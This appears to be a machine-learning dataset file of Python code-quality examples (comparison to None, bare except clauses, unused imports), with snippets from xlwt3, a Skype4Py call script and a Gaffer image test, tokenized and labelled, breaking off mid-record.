query_name
stringlengths 13
55
| code_file_path
stringlengths 14
194
| context_blocks
list | answer_spans
list | supporting_fact_spans
list | example_type
int8 0
1
| single_hop
bool 2
classes | subtokenized_input_sequence
list | label_sequence
list |
---|---|---|---|---|---|---|---|---|
Testing equality to None | kennethreitz/tablib/tablib/packages/xlwt3/Style.py | [
{
"content": " def add(self, style):\n if style == None:\n return 0x10\n return self._add_style(style)[1]",
"metadata": "root.StyleCollection.add",
"header": "['class', 'StyleCollection', '(', 'object', ')', ':', '___EOS___']",
"index": 87
}
]
| [
{
"span": "style == None:",
"start_line": 88,
"start_column": 11,
"end_line": 88,
"end_column": 24
}
]
| []
| 1 | true | [
"[CLS]_",
"Test",
"ing_",
"equality",
"_",
"to_",
"None_",
"[SEP]_",
"class_",
"Style",
"Collection_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"add_",
"(_",
"self_",
",_",
"style_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"style_",
"==_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"0x10_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"self_",
"._",
"\\u",
"add",
"\\u",
"style_",
"(_",
"style_",
")_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Except block handles 'BaseException' | Skype4Py/Skype4Py/examples/record.py | [
{
"content": "#!/usr/bin/python\n\nimport Skype4Py\nimport sys\nimport time\n\n# This variable will get its actual value in OnCall handler\nCallStatus = 0\n\n# Here we define a set of call statuses that indicate a call has been either aborted or finished\nCallIsFinished = set ([Skype4Py.clsFailed, Skype4Py.clsFinished, Skype4Py.clsMissed, Skype4Py.clsRefused, Skype4Py.clsBusy, Skype4Py.clsCancelled]);\n\n\n\nWavFile = ''\nOutFile = ''\n# This handler is fired when status of Call object has changed\n\nHasConnected = False\n\n# This handler is fired when Skype attatchment status changes\n\n# Let's see if we were started with a command line parameter..\ntry:\n CmdLine = sys.argv[1]\nexcept:\n print 'Usage: python skypecall.py destination [wavtosend] [wavtorecord]'\n sys.exit()\n\ntry:\n WavFile = sys.argv[2]\nexcept:\n WavFile = ''\n\ntry:\n OutFile = sys.argv[3]\nexcept:\n OutFile = ''\n\n\n# Creating Skype object and assigning event handlers..\nskype = Skype4Py.Skype()\nskype.OnAttachmentStatus = OnAttach\nskype.OnCallStatus = OnCall\nskype.OnCallInputStatusChanged = OnInputStatusChanged\n\n# Starting Skype if it's not running already..\nif not skype.Client.IsRunning:\n print 'Starting Skype..'\n skype.Client.Start()\n\n# Attatching to Skype..\nprint 'Connecting to Skype..'\nskype.Attach()\n\n# Checking if what we got from command line parameter is present in our contact list\nFound = False\nfor F in skype.Friends:\n if F.Handle == CmdLine:\n Found = True\n print 'Calling ' + F.Handle + '..'\n skype.PlaceCall(CmdLine)\n break\nif not Found:\n print 'Call target not found in contact list'\n print 'Calling ' + CmdLine + ' directly.'\n skype.PlaceCall(CmdLine)\n\n# Loop until CallStatus gets one of \"call terminated\" values in OnCall handler\nwhile not CallStatus in CallIsFinished:\n time.sleep(0.1)\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
}
]
| [
{
"span": "except:",
"start_line": 58,
"start_column": 0,
"end_line": 58,
"end_column": 7
},
{
"span": "except:",
"start_line": 64,
"start_column": 0,
"end_line": 64,
"end_column": 7
},
{
"span": "except:",
"start_line": 69,
"start_column": 0,
"end_line": 69,
"end_column": 7
}
]
| []
| 1 | true | [
"[CLS]_",
"Except",
"_",
"block_",
"handles_",
"'",
"Base",
"Except",
"ion",
"'_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#!",
"/",
"usr",
"/",
"bin",
"/",
"python_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"Sky",
"pe",
"4",
"Py_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"sys_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"time_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"variab",
"le",
" ",
"will",
" ",
"get",
" ",
"its",
" ",
"actual",
" ",
"value",
" ",
"in",
" ",
"On",
"Call",
" ",
"handler_",
"\\u\\u\\uNL\\u\\u\\u_",
"Call",
"Status_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Her",
"e",
" ",
"we",
" ",
"defin",
"e",
" ",
"a",
" ",
"set",
" ",
"of",
" ",
"call",
" ",
"status",
"es",
" ",
"tha",
"t",
" ",
"indicat",
"e",
" ",
"a",
" ",
"call",
" ",
"has",
" ",
"bee",
"n",
" ",
"eit",
"her",
" ",
"abort",
"ed",
" ",
"or",
" ",
"finished_",
"\\u\\u\\uNL\\u\\u\\u_",
"Call",
"Is",
"Finished_",
"=_",
"set_",
"(_",
"[_",
"Sky",
"pe",
"4",
"Py_",
"._",
"cls",
"Failed_",
",_",
"Sky",
"pe",
"4",
"Py_",
"._",
"cls",
"Finished_",
",_",
"Sky",
"pe",
"4",
"Py_",
"._",
"cls",
"Miss",
"ed_",
",_",
"Sky",
"pe",
"4",
"Py_",
"._",
"cls",
"Refu",
"sed_",
",_",
"Sky",
"pe",
"4",
"Py_",
"._",
"cls",
"Busy",
"_",
",_",
"Sky",
"pe",
"4",
"Py_",
"._",
"cls",
"Cancel",
"led_",
"]_",
")_",
";_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"Wa",
"v",
"File_",
"=_",
"''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"Out",
"File_",
"=_",
"''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"handler",
" ",
"is",
" ",
"fired",
" ",
"whe",
"n",
" ",
"status",
" ",
"of",
" ",
"Call",
" ",
"object",
" ",
"has",
" ",
"changed_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"Has",
"Connected_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"handler",
" ",
"is",
" ",
"fired",
" ",
"whe",
"n",
" ",
"Sky",
"pe",
" ",
"att",
"atch",
"ment",
" ",
"status",
" ",
"changes_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Let",
"'",
"s",
" ",
"see",
" ",
"if",
" ",
"we",
" ",
"wer",
"e",
" ",
"start",
"ed",
" ",
"with",
" ",
"a",
" ",
"command",
" ",
"line",
" ",
"parameter",
"..",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"Cmd",
"Line_",
"=_",
"sys_",
"._",
"argv_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"'",
"Us",
"age",
":",
" ",
"python",
" ",
"sky",
"pec",
"all",
".",
"py",
" ",
"destinat",
"ion",
" ",
"[",
"wav",
"tos",
"end",
"]",
" ",
"[",
"wav",
"tore",
"cord",
"]'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sys_",
"._",
"exit_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"Wa",
"v",
"File_",
"=_",
"sys_",
"._",
"argv_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"Wa",
"v",
"File_",
"=_",
"''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"Out",
"File_",
"=_",
"sys_",
"._",
"argv_",
"[_",
"3_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"Out",
"File_",
"=_",
"''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Creat",
"ing",
" ",
"Sky",
"pe",
" ",
"object",
" ",
"and",
" ",
"assign",
"ing",
" ",
"event",
" ",
"handler",
"s",
"..",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"sky",
"pe_",
"=_",
"Sky",
"pe",
"4",
"Py_",
"._",
"Sky",
"pe_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sky",
"pe_",
"._",
"On",
"Attach",
"ment",
"Status_",
"=_",
"On",
"Attach",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sky",
"pe_",
"._",
"On",
"Call",
"Status_",
"=_",
"On",
"Call_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sky",
"pe_",
"._",
"On",
"Call",
"Inp",
"ut",
"Status",
"Changed_",
"=_",
"On",
"Inp",
"ut",
"Status",
"Changed_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Start",
"ing",
" ",
"Sky",
"pe",
" ",
"if",
" ",
"it",
"'",
"s",
" ",
"not",
" ",
"runn",
"ing",
" ",
"alr",
"ead",
"y",
"..",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"not_",
"sky",
"pe_",
"._",
"Client_",
"._",
"Is",
"Running_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"'",
"Start",
"ing",
" ",
"Sky",
"pe",
"..'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sky",
"pe_",
"._",
"Client_",
"._",
"Start_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Att",
"atch",
"ing",
" ",
"to",
" ",
"Sky",
"pe",
"..",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"print_",
"'",
"Connect",
"ing",
" ",
"to",
" ",
"Sky",
"pe",
"..'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sky",
"pe_",
"._",
"Attach",
"_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Check",
"ing",
" ",
"if",
" ",
"what",
" ",
"we",
" ",
"got",
" ",
"from",
" ",
"command",
" ",
"line",
" ",
"parameter",
" ",
"is",
" ",
"presen",
"t",
" ",
"in",
" ",
"our",
" ",
"contact",
" ",
"list_",
"\\u\\u\\uNL\\u\\u\\u_",
"Found_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"F_",
"in_",
"sky",
"pe_",
"._",
"Friends",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"F_",
"._",
"Handle_",
"==_",
"Cmd",
"Line_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"Found_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"'",
"Call",
"ing",
" ",
"'_",
"+_",
"F_",
"._",
"Handle_",
"+_",
"'..'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sky",
"pe_",
"._",
"Place",
"Call_",
"(_",
"Cmd",
"Line_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"break_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"not_",
"Found_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"'",
"Call",
" ",
"target",
" ",
"not",
" ",
"found",
" ",
"in",
" ",
"contact",
" ",
"list",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"'",
"Call",
"ing",
" ",
"'_",
"+_",
"Cmd",
"Line_",
"+_",
"'",
" ",
"direct",
"ly",
".'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sky",
"pe_",
"._",
"Place",
"Call_",
"(_",
"Cmd",
"Line_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Loop",
" ",
"unti",
"l",
" ",
"Call",
"Status",
" ",
"gets",
" ",
"one",
" ",
"of",
" ",
"\"",
"call",
" ",
"terminate",
"d",
"\"",
" ",
"values",
" ",
"in",
" ",
"On",
"Call",
" ",
"handler_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"while_",
"not_",
"Call",
"Status_",
"in_",
"Call",
"Is",
"Finished_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"time_",
"._",
"sleep_",
"(_",
"0.1_",
")_",
"\\u\\u\\uDEDENT\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,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,
2,
2,
2,
2,
2
]
|
Unused import | ImageEngine/gaffer/python/GafferImageTest/ResampleTest.py | [
{
"content": "##########################################################################\n#\n# Copyright (c) 2015, Image Engine Design Inc. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n#\n# * Redistributions of source code must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer.\n#\n# * Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided with\n# the distribution.\n#\n# * Neither the name of John Haddon nor the names of\n# any other contributors to this software may be used to endorse or\n# promote products derived from this software without specific prior\n# written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n# IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n##########################################################################\n\nimport os\nimport shutil\nimport unittest\nimport subprocess\n\nimport IECore\n\nimport Gaffer\nimport GafferTest\nimport GafferImage\nimport GafferImageTest\n\n\nif __name__ == \"__main__\":\n\tunittest.main()\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class ResampleTest( GafferImageTest.ImageTestCase ) :\n\n\n\n",
"metadata": "root.ResampleTest",
"header": "['module', '___EOS___']",
"index": 48
},
{
"content": "\tdef testDataWindow( self ) :\n\n\t\tc = GafferImage.Constant()\n\t\tc[\"color\"].setValue( IECore.Color4f( 1 ) )\n\n\t\tr = GafferImage.Resample()\n\t\tr[\"in\"].setInput( c[\"out\"] )\n\t\tr[\"dataWindow\"].setValue(\n\t\t\tIECore.Box2f(\n\t\t\t\tIECore.V2f( 10.5, 11.5 ),\n\t\t\t\tIECore.V2f( 20.5, 21.5 )\n\t\t\t)\n\t\t)\n\n\t\tself.assertEqual(\n\t\t\tr[\"out\"][\"dataWindow\"].getValue(),\n\t\t\tIECore.Box2i(\n\t\t\t\tIECore.V2i( 10, 11 ),\n\t\t\t\tIECore.V2i( 21, 22 )\n\t\t\t)\n\t\t)",
"metadata": "root.ResampleTest.testDataWindow",
"header": "['class', 'ResampleTest', '(', 'GafferImageTest', '.', 'ImageTestCase', ')', ':', '___EOS___']",
"index": 50
},
{
"content": "\tdef testExpectedOutput( self ) :\n\n\t\tdef __test( fileName, size, filter ) :\n\n\t\t\tinputFileName = os.path.dirname( __file__ ) + \"/images/\" + fileName\n\n\t\t\treader = GafferImage.ImageReader()\n\t\t\treader[\"fileName\"].setValue( inputFileName )\n\n\t\t\tresample = GafferImage.Resample()\n\t\t\tresample[\"in\"].setInput( reader[\"out\"] )\n\t\t\tresample[\"dataWindow\"].setValue( IECore.Box2f( IECore.V2f( 0 ), IECore.V2f( size.x, size.y ) ) )\n\t\t\tresample[\"filter\"].setValue( filter )\n\t\t\tresample[\"boundingMode\"].setValue( GafferImage.Sampler.BoundingMode.Clamp )\n\n\t\t\tcrop = GafferImage.Crop()\n\t\t\tcrop[\"in\"].setInput( resample[\"out\"] )\n\t\t\tcrop[\"area\"].setValue( IECore.Box2i( IECore.V2i( 0 ), size ) )\n\n\t\t\toutputFileName = self.temporaryDirectory() + \"/%s_%dx%d_%s.exr\" % ( os.path.splitext( fileName )[0], size.x, size.y, filter )\n\t\t\twriter = GafferImage.ImageWriter()\n\t\t\twriter[\"in\"].setInput( crop[\"out\"] )\n\t\t\twriter[\"fileName\"].setValue( outputFileName )\n\t\t\twriter[\"task\"].execute()\n\n\t\t\tresult = GafferImage.ImageReader()\n\t\t\tresult[\"fileName\"].setValue( writer[\"fileName\"].getValue() )\n\n\t\t\texpected = GafferImage.ImageReader()\n\t\t\texpected[\"fileName\"].setValue(\n\t\t\t\t\"%s/images/%s_%dx%d_%s.exr\" % (\n\t\t\t\t\tos.path.dirname( __file__ ),\n\t\t\t\t\tos.path.splitext( fileName )[0],\n\t\t\t\t\tsize.x,\n\t\t\t\t\tsize.y,\n\t\t\t\t\tfilter\n\t\t\t\t)\n\t\t\t)\n\n\t\t\tself.assertImagesEqual( result[\"out\"], expected[\"out\"], maxDifference = 0.0005, ignoreMetadata = True )\n\n\t\t\t# Enable to write out images for visual comparison with OIIO.\n\t\t\t# The images will appear in a \"resampleComparison\" subdirectory\n\t\t\t# of the current directory.\n\t\t\tif False :\n\n\t\t\t\tif not os.path.exists( \"resampleComparison\" ) :\n\t\t\t\t\tos.makedirs( \"resampleComparison\" )\n\n\t\t\t\tshutil.copyfile( outputFileName, \"resampleComparison/gaffer_\" + os.path.basename( outputFileName ) )\n\n\t\t\t\toiioOutputFileName = \"resampleComparison/oiio_%s_%dx%d_%s.exr\" % ( os.path.splitext( fileName )[0], size.x, size.y, filter )\n\n\t\t\t\tsubprocess.check_call(\n\t\t\t\t\t\"oiiotool --threads 1 %s --ch R,G,B --resize:filter=%s %dx%d -o %s\" %\n\t\t\t\t\t(\n\t\t\t\t\t\tinputFileName,\n\t\t\t\t\t\tfilter,\n\t\t\t\t\t\tsize.x, size.y,\n\t\t\t\t\t\toiioOutputFileName\n\t\t\t\t\t),\n\t\t\t\t\tshell = True\n\t\t\t\t)\n\n\t\ttests = [\n\t\t\t( \"resamplePatterns.exr\", IECore.V2i( 4 ), \"lanczos3\" ),\n\t\t\t( \"resamplePatterns.exr\", IECore.V2i( 40 ), \"box\" ),\n\t\t\t( \"resamplePatterns.exr\", IECore.V2i( 101 ), \"gaussian\" ),\n\t\t\t( \"resamplePatterns.exr\", IECore.V2i( 119 ), \"mitchell\" ),\n\t\t]\n\n\t\tfor args in tests :\n\t\t\t__test( *args )",
"metadata": "root.ResampleTest.testExpectedOutput",
"header": "['class', 'ResampleTest', '(', 'GafferImageTest', '.', 'ImageTestCase', ')', ':', '___EOS___']",
"index": 72
},
{
"content": "\tdef testSincUpsize( self ) :\n\n\t\tc = GafferImage.Constant()\n\t\tc[\"format\"].setValue( GafferImage.Format( 100, 100 ) )\n\t\tc[\"color\"].setValue( IECore.Color4f( 1 ) )\n\n\t\tr = GafferImage.Resample()\n\t\tr[\"dataWindow\"].setValue( IECore.Box2f( IECore.V2f( 0 ), IECore.V2f( 400 ) ) )\n\t\tr[\"boundingMode\"].setValue( GafferImage.Sampler.BoundingMode.Clamp )\n\t\tr[\"filter\"].setValue( \"sinc\" )\n\t\tr[\"in\"].setInput( c[\"out\"] )\n\n\t\ti = r[\"out\"].image()\n\t\tself.assertEqual( i[\"R\"].data, IECore.FloatVectorData( [ 1.0 ] * 400 * 400 ) )",
"metadata": "root.ResampleTest.testSincUpsize",
"header": "['class', 'ResampleTest', '(', 'GafferImageTest', '.', 'ImageTestCase', ')', ':', '___EOS___']",
"index": 146
},
{
"content": "\tdef testExpandDataWindow( self ) :\n\n\t\td = IECore.Box2i( IECore.V2i( 5, 6 ), IECore.V2i( 101, 304 ) )\n\t\tc = GafferImage.Constant()\n\t\tc[\"format\"].setValue( GafferImage.Format( d ) )\n\n\t\tr = GafferImage.Resample()\n\t\tr[\"in\"].setInput( c[\"out\"] )\n\t\tr[\"dataWindow\"].setValue( IECore.Box2f( IECore.V2f( d.min ), IECore.V2f( d.max ) ) )\n\t\tr[\"filter\"].setValue( \"box\" )\n\t\tself.assertEqual( r[\"out\"][\"dataWindow\"].getValue(), d )\n\n\t\tr[\"expandDataWindow\"].setValue( True )\n\t\tself.assertEqual( r[\"out\"][\"dataWindow\"].getValue(), IECore.Box2i( d.min - IECore.V2i( 1 ), d.max + IECore.V2i( 1 ) ) )\n\n\t\tr[\"filterWidth\"].setValue( IECore.V2f( 10 ) )\n\t\tself.assertEqual( r[\"out\"][\"dataWindow\"].getValue(), IECore.Box2i( d.min - IECore.V2i( 5 ), d.max + IECore.V2i( 5 ) ) )",
"metadata": "root.ResampleTest.testExpandDataWindow",
"header": "['class', 'ResampleTest', '(', 'GafferImageTest', '.', 'ImageTestCase', ')', ':', '___EOS___']",
"index": 161
}
]
| [
{
"span": "import Gaffer",
"start_line": 43,
"start_column": 0,
"end_line": 43,
"end_column": 13
},
{
"span": "import GafferTest",
"start_line": 44,
"start_column": 0,
"end_line": 44,
"end_column": 17
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"######",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"Copy",
"right",
" ",
"(",
"c",
")",
" ",
"201",
"5",
",",
" ",
"Image",
" ",
"Engine",
" ",
"Desig",
"n",
" ",
"Inc",
".",
" ",
"All",
" ",
"rights",
" ",
"reserve",
"d",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"Redistributi",
"on",
" ",
"and",
" ",
"use",
" ",
"in",
" ",
"source",
" ",
"and",
" ",
"binar",
"y",
" ",
"forms",
",",
" ",
"with",
" ",
"or",
" ",
"with",
"out_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"modification",
",",
" ",
"are",
" ",
"permit",
"ted",
" ",
"provided",
" ",
"tha",
"t",
" ",
"the",
" ",
"follow",
"ing",
" ",
"condition",
"s",
" ",
"are",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"met",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"*",
" ",
"Redistributi",
"ons",
" ",
"of",
" ",
"source",
" ",
"code",
" ",
"must",
" ",
"retain",
" ",
"the",
" ",
"above_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"copyr",
"ight",
" ",
"notice",
",",
" ",
"this",
" ",
"list",
" ",
"of",
" ",
"condition",
"s",
" ",
"and",
" ",
"the",
" ",
"following_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"discl",
"aime",
"r",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"*",
" ",
"Redistributi",
"ons",
" ",
"in",
" ",
"binar",
"y",
" ",
"form",
" ",
"must",
" ",
"reproduce",
" ",
"the",
" ",
"above_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"copyr",
"ight",
" ",
"notice",
",",
" ",
"this",
" ",
"list",
" ",
"of",
" ",
"condition",
"s",
" ",
"and",
" ",
"the",
" ",
"following_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"discl",
"aime",
"r",
" ",
"in",
" ",
"the",
" ",
"documentation",
" ",
"and",
"/",
"or",
" ",
"other",
" ",
"material",
"s",
" ",
"provided",
" ",
"with_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"the",
" ",
"distribu",
"tion",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"*",
" ",
"Nei",
"ther",
" ",
"the",
" ",
"name",
" ",
"of",
" ",
"Joh",
"n",
" ",
"Had",
"don",
" ",
"nor",
" ",
"the",
" ",
"names",
" ",
"of_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"any",
" ",
"other",
" ",
"contributor",
"s",
" ",
"to",
" ",
"this",
" ",
"software",
" ",
"may",
" ",
"be",
" ",
"used",
" ",
"to",
" ",
"endo",
"rse",
" ",
"or_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"promote",
" ",
"products",
" ",
"derive",
"d",
" ",
"from",
" ",
"this",
" ",
"software",
" ",
"with",
"out",
" ",
"specific",
" ",
"prior_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
" ",
"writt",
"en",
" ",
"permissi",
"on",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"THIS",
" ",
"SOFT",
"WARE",
" ",
"IS",
" ",
"PROVI",
"DED",
" ",
"BY",
" ",
"THE",
" ",
"COPY",
"RIG",
"HT",
" ",
"HOLD",
"ERS",
" ",
"AND",
" ",
"CONTRIB",
"UTO",
"RS",
" ",
"\"",
"AS_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
